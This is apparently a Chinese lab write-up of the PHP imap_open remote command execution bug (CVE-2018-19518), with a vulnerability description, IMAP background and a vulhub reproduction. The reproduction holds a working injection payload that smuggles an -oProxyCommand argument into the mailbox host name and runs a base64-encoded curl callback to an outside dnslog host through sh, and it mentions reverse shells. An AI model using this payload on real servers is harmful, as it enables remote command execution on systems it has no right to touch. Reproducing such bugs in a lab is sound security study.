PHP imap远程命令执行,CVE-2018-19518：PHP imap_open函数任意命令执行漏洞

参考链接

https://www.freebuf.com/vuls/192712.html

漏洞描述

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接，则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能，攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

IMAP简介

IMAP是在系统中执行任何命令的桥梁。Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP / IP连接从邮件服务器检索电子邮件的Internet标准协议。IMAP由Mark Crispin于1986年设计为远程邮箱协议，与广泛使用的POP(一种用于检索邮箱内容的协议)形成对比。目前，IMAP由RFC 3501定义规格。IMAP的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。因此，客户端通常会在服务器上保留消息，直到用户明确删除它们为止。IMAP服务器通常侦听端口号143.默认情况下，为IMAP over SSL(IMAPS)分配端口号993。当然，PHP支持IMAP开箱即用。为了使协议的工作更容易，PHP有许多功能。在所有这些功能中，我们只对imap_open尽心讨论和探究。它用于打开邮箱的IMAP Stream。该函数不是PHP核心函数; 它是从华盛顿大学开发的UW IMAP工具包环境导入的，该库的最新版本大约在7年前于2011年发布。

漏洞复现

启动vulhub靶场，打开页面，一个测试邮件服务器是否能够成功连接的页面

关键点在于hostname，注意漏洞成因：该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称，邮箱名称是漏洞可能存在点

构造pocx ±oProxyCommand%3decho%09Y3VybCBobmhhcTEuZG5zbG9nLmNu|base64%09-d|sh，经base64编码，我这是使用的curl命令，因docker里面不支持ping

也可以创建文件，或者反弹shell